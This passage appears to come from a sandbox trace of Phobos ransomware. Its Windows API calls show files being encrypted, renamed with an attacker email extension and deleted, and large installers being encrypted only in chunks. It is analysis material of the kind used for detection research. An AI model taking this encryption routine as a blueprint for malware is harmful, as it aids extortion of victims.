dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.885] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.885] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dca90) returned 1 [0045.885] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.885] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x47e, lpOverlapped=0x0) returned 1 [0045.906] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x480, dwBufLen=0x480 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x480) returned 1 [0045.906] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x480, lpOverlapped=0x0) returned 1 [0045.907] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc910) returned 1 [0045.907] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.907] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.907] CryptDestroyKey (hKey=0x10dc910) returned 1 [0045.907] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.907] CryptDestroyKey (hKey=0x10dca90) returned 1 [0045.907] CloseHandle (hObject=0x31c) returned 1 [0045.907] CloseHandle (hObject=0x310) returned 1 [0045.908] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0045.909] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.909] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.909] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=10134) returned 1 [0045.909] CloseHandle (hObject=0x310) returned 1 [0045.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0045.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.909] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.909] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.909] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.909] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.909] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc790) returned 1 [0045.909] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.909] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x2796, lpOverlapped=0x0) returned 1 [0045.931] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x27a0, dwBufLen=0x27a0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x27a0) returned 1 [0045.931] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x27a0, lpOverlapped=0x0) returned 1 [0045.932] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb50) returned 1 [0045.932] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.932] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.932] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0045.932] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.932] CryptDestroyKey (hKey=0x10dc790) returned 1 [0045.932] CloseHandle (hObject=0x310) returned 1 [0045.932] CloseHandle (hObject=0x31c) returned 1 [0045.933] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0045.934] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.934] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.934] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1901056) returned 1 [0045.934] CloseHandle (hObject=0x31c) returned 1 [0045.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0045.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0045.935] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.935] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0045.935] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0045.935] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a1d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0045.958] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0045.958] ReadFile (in: hFile=0x31c, lpBuffer=0x3a5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a5d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0046.062] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0046.062] ReadFile (in: hFile=0x31c, lpBuffer=0x3a9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a9d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0046.159] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc84 | out: phKey=0x366fc84*=0x10dc5d0) returned 1 [0046.159] CryptSetKeyParam (hKey=0x10dc5d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0046.159] CryptEncrypt (in: hKey=0x10dc5d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0060) returned 1 [0046.161] CryptDestroyKey (hKey=0x10dc5d0) returned 1 [0046.161] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc60 | out: lpNewFilePointer=0x0) returned 1 [0046.161] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x366fc70, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc70*=0xc0112, lpOverlapped=0x0) returned 1 [0046.181] SetEndOfFile (hFile=0x31c) returned 1 [0046.181] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0046.182] WriteFile (in: hFile=0x31c, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0046.187] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0046.187] WriteFile (in: hFile=0x31c, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0046.189] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0046.189] WriteFile (in: hFile=0x31c, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0046.190] CloseHandle (hObject=0x31c) returned 1 [0047.097] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0047.097] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.098] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1163264) returned 1 [0047.098] CloseHandle (hObject=0x31c) returned 1 [0047.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0047.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.098] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.098] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0047.098] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0047.098] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0047.098] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0047.098] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0047.098] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x110100, lpOverlapped=0x0) returned 1 [0047.142] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x110100, dwBufLen=0x110100 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x110100) returned 1 [0047.143] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x110100, lpOverlapped=0x0) returned 1 [0047.163] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0xbf00, lpOverlapped=0x0) returned 1 [0047.690] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xbf10, dwBufLen=0xbf10 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xbf10) returned 1 [0047.690] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xbf10, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xbf10, lpOverlapped=0x0) returned 1 [0047.690] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb90) returned 1 [0047.691] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0047.691] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0047.691] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0047.691] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0047.691] CryptDestroyKey (hKey=0x10dc750) returned 1 [0047.691] CloseHandle (hObject=0x31c) returned 1 [0047.691] CloseHandle (hObject=0x330) returned 1 [0047.710] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0047.712] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0047.712] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0047.712] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=43131591) returned 1 [0047.712] CloseHandle (hObject=0x330) returned 1 [0047.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0047.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0047.713] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0047.713] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0047.713] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0047.713] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a1d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0047.973] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0047.973] ReadFile (in: hFile=0x330, lpBuffer=0x3a5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a5d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0048.002] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0048.002] ReadFile (in: hFile=0x330, lpBuffer=0x3a9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a9d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0048.009] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc84 | out: phKey=0x366fc84*=0x10dc690) returned 1 [0048.009] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0048.010] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0060) returned 1 [0048.011] CryptDestroyKey (hKey=0x10dc690) returned 1 [0048.011] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc60 | out: lpNewFilePointer=0x0) returned 1 [0048.011] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x366fc70, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc70*=0xc0112, lpOverlapped=0x0) returned 1 [0051.865] SetEndOfFile (hFile=0x330) returned 1 [0051.865] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0051.865] WriteFile (in: hFile=0x330, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0051.866] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0051.866] WriteFile (in: hFile=0x330, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0051.867] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0051.867] WriteFile (in: hFile=0x330, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0051.868] CloseHandle (hObject=0x330) returned 1 [0054.609] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0054.609] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0054.609] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=2141433) returned 1 [0054.609] CloseHandle (hObject=0x330) returned 1 [0054.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0054.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0054.611] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0054.611] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0054.611] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0054.611] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a1d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0054.680] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0054.680] ReadFile (in: hFile=0x330, lpBuffer=0x3a5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a5d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0054.707] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0054.707] 